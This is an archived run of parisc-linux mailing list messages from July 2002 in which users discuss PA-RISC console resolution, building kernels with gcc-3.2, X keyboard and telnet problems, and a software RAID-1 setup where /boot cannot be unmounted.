X-Trace: ger.gmane.org 1416621499 10403 80.91.229.3 (22 Nov 2014 01:58:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 12 14:33:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 64EFF4891
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Jul 2002 14:33:16 -0600 (MDT)
Original-Received: (qmail 25924 invoked from network); 12 Jul 2002 20:34:39 -0000
Original-Received: from softdnserror (HELO www.itp.bg) (httpd@212.72.204.1)
  by softdnserror with SMTP; 12 Jul 2002 20:34:39 -0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15427

My STI in console runs with resolution 1280x1024x8bit.
I have 819/K210
Can I change resolution to 800x600x16bit colour?
And my XFREE runs in 1028x1024x8bit colour, can I change to=20
1024x768x16bit ot 24bit?
dmesg displays that I have 16MB video framebuffer memory

-------------------------------------------------------------------
-->> Add WEB ACCESS to your POP email accounts with
-->> FREE Perl CGI scripts! Download today! http://www.adjeweb.com
-------------------------------------------------------------------


From - Thu Nov 08 21:23:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiling kernels with gcc-3.2
Date: Fri, 12 Jul 2002 22:20:16 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20020713052016.GA10191@tausq.org>
References: <20020712073628.GB8838@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621499 10407 80.91.229.3 (22 Nov 2014 01:58:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:19 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 12 23:16:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.speakeasy.net (mail12.speakeasy.net [216.254.0.212])
	by dsl2.external.hp.com (Postfix) with ESMTP id F232E482F
	for <parisc-linux@parisc-linux.org>; Fri, 12 Jul 2002 23:16:27 -0600 (MDT)
Original-Received: (qmail 23874 invoked from network); 13 Jul 2002 05:16:25 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail12.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <parisc-linux@parisc-linux.org>; 13 Jul 2002 05:16:25 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 148E3CDFFA; Fri, 12 Jul 2002 22:20:16 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20020712073628.GB8838@tausq.org>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15428

well, after some advice from Dave about how to build gcc-3.2... i now
have a gcc-3.2 compiled kernel working as well:

tausq@a500:~$ uname -a
Linux version 2.4.18-pa54 (tausq@a500) (gcc version 3.2 20020711 (experimental)) #2 SMP Fri Jul 12 22:04:23 PDT 2002
tausq@a500:~$

I'm quite perplexed about why it doesn't seem to always work for
others... i didn't really have to do anything special with either gcc or
the kernel to get it to boot.

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:23:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiling kernels with gcc-3.2
Date: Sat, 13 Jul 2002 10:24:26 +0000
Lines: 30
Approved: news@gmane.org
Message-ID: <3D2FFFDA.7030704@freebel.net>
References: <20020712073628.GB8838@tausq.org> <20020713052016.GA10191@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621499 10411 80.91.229.3 (22 Nov 2014 01:58:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:19 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 13 04:22:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolm1.tiscalinet.be (spoolm1.tiscalinet.be [212.35.2.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8A7DB482D
	for <parisc-linux@parisc-linux.org>; Sat, 13 Jul 2002 04:22:29 -0600 (MDT)
Original-Received: from [62.235.227.250] (helo=freebel.net)
	by spoolm1.tiscalinet.be with esmtp (Tiscalinet) 
	id 17TK2Y-00059y-00; Sat, 13 Jul 2002 12:22:15 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15429

Hi Randolph,

Randolph Chung wrote:
> well, after some advice from Dave about how to build gcc-3.2... i now
> have a gcc-3.2 compiled kernel working as well:
> 

Great ;) I will try also

> tausq@a500:~$ uname -a
> Linux version 2.4.18-pa54 (tausq@a500) (gcc version 3.2 20020711 (experimental)) #2 SMP Fri Jul 12 22:04:23 PDT 2002
> tausq@a500:~$
> 
> I'm quite perplexed about why it doesn't seem to always work for
> others... i didn't really have to do anything special with either gcc or
> the kernel to get it to boot.

Well regarding release 3.2, I frequently encounter problems to compile 
gcc itself because of some broken part (it seems to me normal because it 
is the present development branch) for which I open PR which was solved 
in the mean time.
And when I reach to compile gcc and the kernel, this was a problem with 
network connection which make crash the system.
So now if I can obtain an working kernel (as you) I would be able to 
continu to test other interesting thing.

Thanks a lot for info,
     Joel



From - Thu Nov 08 21:23:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem in X with keyboard and problem with LAN
 and telnetd
Date: Sat, 13 Jul 2002 11:14:41 +0000
Lines: 33
Approved: news@gmane.org
Message-ID: <3D300BA1.8000304@freebel.net>
References: <20020712203010.59C8D488D@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621500 10415 80.91.229.3 (22 Nov 2014 01:58:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stephan Trajkoff <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 13 05:12:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolm2.tiscalinet.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 24F344838
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Jul 2002 05:12:41 -0600 (MDT)
Original-Received: from [62.235.227.250] (helo=freebel.net)
	by spoolm2.tiscalinet.be with esmtp (Tiscalinet) 
	id 17TKpB-0000U8-00; Sat, 13 Jul 2002 13:12:30 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15430

Hi Stephan,

Can you give us more detail on release your are running for Xfree86, 
KDE, kernel (cvs date eventualy) or last tine you made an apt-get 
dist-upgrade?

Stephan Trajkoff wrote:
> -------------------------------------------------------------------
> -->> FREE Perl CGI scripts add WEB ACCESS to your POP email accounts!
> -->> Download today!! http://www.adjeweb.com
> -------------------------------------------------------------------
> 
> I have 3 problems
> 1. when I run Xfree86 with KDE, my ps/2 keyboard won't work, I sait 
> to XFREE that I have us keyboard, pc104 and that is ps/2.
> 2. my LAN lasi 82596 says that I have timeout non stop with
> connection
> 3. When I connect from Windows and Linux to my server, and when I run 
> command that display many rows, automatically linux closing my 
> connection and _|_.

It sounds like an old problem (telnetd on cd-0.9.3?) which could be 
solved (IIRC) with an apt-get dist-upgrade.

> With SSH all is working. For example try to run 
> dmesg or ps axuw.


Good luck,
	Joel




From - Thu Nov 08 21:23:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with XFREE 4.1.0 latest by apt-get:)
Date: Sat, 13 Jul 2002 11:19:28 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <3D300CC0.8000601@freebel.net>
References: <20020712203316.64EFF4891@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621500 10418 80.91.229.3 (22 Nov 2014 01:58:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stephan Trajkoff <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 13 05:17:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolm2.tiscalinet.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id BD5B24873
	for <parisc-linux@lists.parisc-linux.org>; Sat, 13 Jul 2002 05:17:21 -0600 (MDT)
Original-Received: from [62.235.227.250] (helo=freebel.net)
	by spoolm2.tiscalinet.be with esmtp (Tiscalinet) 
	id 17TKto-0000to-00; Sat, 13 Jul 2002 13:17:17 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15431

More details (product number or dmesg) on graphical adaptor would be 
necessary. On workstation as 712, b180, b2000, ... there is generaly a 
builtin adaptor AFAIK not for K model.

Joel

Stephan Trajkoff wrote:
> My STI in console runs with resolution 1280x1024x8bit.
> I have 819/K210
> Can I change resolution to 800x600x16bit colour?
> And my XFREE runs in 1028x1024x8bit colour, can I change to 
> 1024x768x16bit ot 24bit?
> dmesg displays that I have 16MB video framebuffer memory
> 
> -------------------------------------------------------------------
> -->> Add WEB ACCESS to your POP email accounts with
> -->> FREE Perl CGI scripts! Download today! http://www.adjeweb.com
> -------------------------------------------------------------------
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:23:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] MD problem
Date: Sat, 13 Jul 2002 17:09:32 +0000
Lines: 139
Approved: news@gmane.org
Message-ID: <3D305ECC.8050207@freebel.net>
References: <Pine.LNX.4.44.0207122026220.3825-100000@r6.petescaff.com> <3D30015A.7010301@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621500 10419 80.91.229.3 (22 Nov 2014 01:58:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:20 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Peter Mottram <peter@petescaff.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 13 11:07:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolm2.tiscalinet.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9C4BA4831
	for <parisc-linux@parisc-linux.org>; Sat, 13 Jul 2002 11:07:26 -0600 (MDT)
Original-Received: from [62.235.235.24] (helo=freebel.net)
	by spoolm2.tiscalinet.be with esmtp (Tiscalinet) 
	id 17TQMZ-0005AK-00; Sat, 13 Jul 2002 19:07:20 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15432

Peter,

You have right, this is the same problem: /sbin/klogd is using /boot

Thanks a lot,
	Joel

Joel Soete wrote:
 > Hi Peter,
 >
 > hmm same problem on my i386...
 > and fuser -m
 > /boot 209
 >
 > which process 209 is /sbin/klogd ( a child process of init)
 > I will have look on my hppa.
 >
 > Thanks a lot for info,
 >     Joel
 >
 > Peter Mottram wrote:
 >
 >> fuser -m ?
 >>
 >> On Fri, 12 Jul 2002, joel.soete@freebel.net wrote:
 >>
 >>
 >>> and additional problem:
 >>> if I mount automaticaly /boot in /etc/fstab it is impossible to
 >>> dismount this fs:
 >>>
 >>> umount /boot
 >>> device busy
 >>>
 >>> fuser -u /boot
 >>> /boot
 >>> No process references; use -v for the complete list
 >>> fuser -v /boot:
 >>>
 >>>             USER       PID  ACCESS  COMMAND
 >>> /boot        root    kernel  mount   /boot
 >>>
 >>> Any idea? (if I mount it manualy after the reboot no problem?)
 >>>
 >>> Quoting joel.soete@freebel.net:
 >>>
 >>>
 >>>> Hi All,
 >>>>
 >>>> I build a raid-1 configuration starting from the internal disk sdb
 >>>> formated as
 >>>> follow:
 >>>>                                  cfdisk 2.11n
 >>>>
 >>>>                              Disk Drive: /dev/sdb
 >>>>                             Size: 9100044288 bytes
 >>>>              Heads: 64   Sectors per Track: 32   Cylinders: 8678
 >>>>
 >>>>    Name        Flags      Part Type  FS Type          [Label]
 >>>> Size (MB)
 >>>>
 >>>> 
------------------------------------------------------------------------------ 

 >>>>
 >>>>    sdb1                    Primary   Linux/PA-RISC boot
 >>>> 63.97
 >>>>    sdb2                    Primary   Linux swap
 >>>> 128.98
 >>>>    sdb3                    Primary   Linux
 >>>> 127.93
 >>>>    sdb5                    Logical   Linux
 >>>> 1664.10
 >>>>    sdb6                    Logical   Linux
 >>>> 255.86
 >>>>    sdb7                    Logical   Linux
 >>>> 127.93
 >>>>    sdb8                    Logical   Linux
 >>>> 127.93
 >>>>    sdb9                    Logical   Linux
 >>>> 2047.87
 >>>>    sdb10                   Logical   Linux
 >>>> 2047.87
 >>>>    sdb11                   Logical   Linux
 >>>> 2047.87
 >>>>                            Logical   Free Space
 >>>> 459.28
 >>>>
 >>>> sdb3 being the /boot & sdb5 / fs.
 >>>>
 >>>> then I copy this structure with sfdisk -d /dev/sdb | sfdisk /dev/sda
 >>>> (same size
 >>>> but not the same supplier) and synchronize all mdi with respective 
disk
 >>>> slice.
 >>>>
 >>>> All is ok. But still have to mirror manually quasi static slices: sdx1
 >>>> (F0) and
 >>>> sdx3 (/boot). So I umount /boot and made a dd from sdb3 to sda3 Ok and
 >>>> sdb1 to
 >>>> sda1 Ok.
 >>>>
 >>>> But when I try to boot from the mirror (ie sda) bootloader did not 
find
 >>>> the ipl
 >>>> eventhought the copy of the two F0 slices (I can still boot from sdb)?
 >>>>
 >>>> What do I wrong or better what should I have to resolve this problem?
 >>>>
 >>>> Thanks in advance for advice,
 >>>>    Joel
 >>>>
 >>>>
 >>>> -------------------------------------------------
 >>>> This mail sent through Tiscali Webmail (http://webmail.tiscali.be)
 >>>> _______________________________________________
 >>>> parisc-linux mailing list
 >>>> parisc-linux@lists.parisc-linux.org
 >>>> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
 >>>>
 >>>
 >>>
 >>> -------------------------------------------------
 >>> This mail sent through Tiscali Webmail (http://webmail.tiscali.be)
 >>> _______________________________________________
 >>> parisc-linux mailing list
 >>> parisc-linux@lists.parisc-linux.org
 >>> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
 >>>
 >>
 >>
 >>
 >
 >
 >





From - Thu Nov 08 21:23:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] MD problem
Date: Sat, 13 Jul 2002 16:32:57 +0000
Lines: 187
Approved: news@gmane.org
Message-ID: <3D305639.9060904@freebel.net>
References: <4E39457CA36BA347A9940A14D48B11A90AFE3B@umr-mail2.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621501 10424 80.91.229.3 (22 Nov 2014 01:58:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:21 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Neulinger, Nathan" <nneul@umr.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 13 11:08:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolm2.tiscalinet.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id E777C4855
	for <parisc-linux@parisc-linux.org>; Sat, 13 Jul 2002 11:08:10 -0600 (MDT)
Original-Received: from [62.235.235.24] (helo=freebel.net)
	by spoolm2.tiscalinet.be with esmtp (Tiscalinet) 
	id 17TQNH-0005EF-00; Sat, 13 Jul 2002 19:08:03 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15433

Hello Nathan,


Neulinger, Nathan wrote:
> You got it in /etc/exports and running nfs?

No (but it should be a good idea)

Thanks,
	Joel

> 
> -- Nathan
> 
> ------------------------------------------------------------
> Nathan Neulinger                       EMail:  nneul@umr.edu
> University of Missouri - Rolla         Phone: (573) 341-4841
> Computing Services                       Fax: (573) 341-4216
> 
> 
> 
>>-----Original Message-----
>>From: joel.soete@freebel.net [mailto:joel.soete@freebel.net] 
>>Sent: Friday, July 12, 2002 1:05 PM
>>To: parisc-linux@parisc-linux.org
>>Subject: Re: [parisc-linux] MD problem
>>
>>
>>and additional problem:
>>if I mount automaticaly /boot in /etc/fstab it is impossible 
>>to dismount this fs:
>>
>>umount /boot
>>device busy
>>
>>fuser -u /boot
>>/boot
>>No process references; use -v for the complete list
>>fuser -v /boot:
>>
>>             USER       PID  ACCESS  COMMAND
>>/boot        root    kernel  mount   /boot
>>
>>Any idea? (if I mount it manualy after the reboot no problem?)
>>
>>Quoting joel.soete@freebel.net:
>>
>>
>>>Hi All,
>>>
>>>I build a raid-1 configuration starting from the internal disk sdb
>>>formated as
>>>follow:
>>>                                  cfdisk 2.11n
>>>
>>>                              Disk Drive: /dev/sdb
>>>                             Size: 9100044288 bytes
>>>              Heads: 64   Sectors per Track: 32   Cylinders: 8678
>>>
>>>    Name        Flags      Part Type  FS Type          
>>
>>[Label]       
>>
>>>Size (MB)
>>>
>>>
>>
>>--------------------------------------------------------------
>>----------------
>>
>>>    sdb1                    Primary   Linux/PA-RISC boot    
>>
>>            
>>
>>> 63.97
>>>    sdb2                    Primary   Linux swap            
>>
>>            
>>
>>>128.98
>>>    sdb3                    Primary   Linux                 
>>
>>            
>>
>>>127.93
>>>    sdb5                    Logical   Linux                 
>>
>>           
>>
>>>1664.10
>>>    sdb6                    Logical   Linux                 
>>
>>            
>>
>>>255.86
>>>    sdb7                    Logical   Linux                 
>>
>>            
>>
>>>127.93
>>>    sdb8                    Logical   Linux                 
>>
>>            
>>
>>>127.93
>>>    sdb9                    Logical   Linux                 
>>
>>           
>>
>>>2047.87
>>>    sdb10                   Logical   Linux                 
>>
>>           
>>
>>>2047.87
>>>    sdb11                   Logical   Linux                 
>>
>>           
>>
>>>2047.87
>>>                            Logical   Free Space            
>>
>>            
>>
>>>459.28
>>>
>>>sdb3 being the /boot & sdb5 / fs.
>>>
>>>then I copy this structure with sfdisk -d /dev/sdb | sfdisk /dev/sda
>>>(same size
>>>but not the same supplier) and synchronize all mdi with 
>>
>>respective disk
>>
>>>slice.
>>>
>>>All is ok. But still have to mirror manually quasi static 
>>
>>slices: sdx1
>>
>>>(F0) and
>>>sdx3 (/boot). So I umount /boot and made a dd from sdb3 to 
>>
>>sda3 Ok and
>>
>>>sdb1 to
>>>sda1 Ok.
>>>
>>>But when I try to boot from the mirror (ie sda) bootloader 
>>
>>did not find
>>
>>>the ipl
>>>eventhought the copy of the two F0 slices (I can still boot 
>>
>>from sdb)?
>>
>>>What do I wrong or better what should I have to resolve 
>>
>>this problem?
>>
>>>Thanks in advance for advice,
>>>    Joel
>>>
>>>
>>>-------------------------------------------------
>>>This mail sent through Tiscali Webmail (http://webmail.tiscali.be)
>>>_______________________________________________
>>>parisc-linux mailing list
>>>parisc-linux@lists.parisc-linux.org
>>>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>>>
>>
>>
>>-------------------------------------------------
>>This mail sent through Tiscali Webmail (http://webmail.tiscali.be)
>>_______________________________________________
>>parisc-linux mailing list
>>parisc-linux@lists.parisc-linux.org
>>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
> 





From - Thu Nov 08 21:23:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiling kernels with gcc-3.1
Date: Sat, 13 Jul 2002 17:06:54 +0000
Lines: 1112
Approved: news@gmane.org
Message-ID: <3D305E2E.7020800@freebel.net>
References: <20020712073628.GB8838@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------060405050208000907040807"
X-Trace: ger.gmane.org 1416621501 10428 80.91.229.3 (22 Nov 2014 01:58:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:21 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 13 11:08:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolm2.tiscalinet.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7689E4855
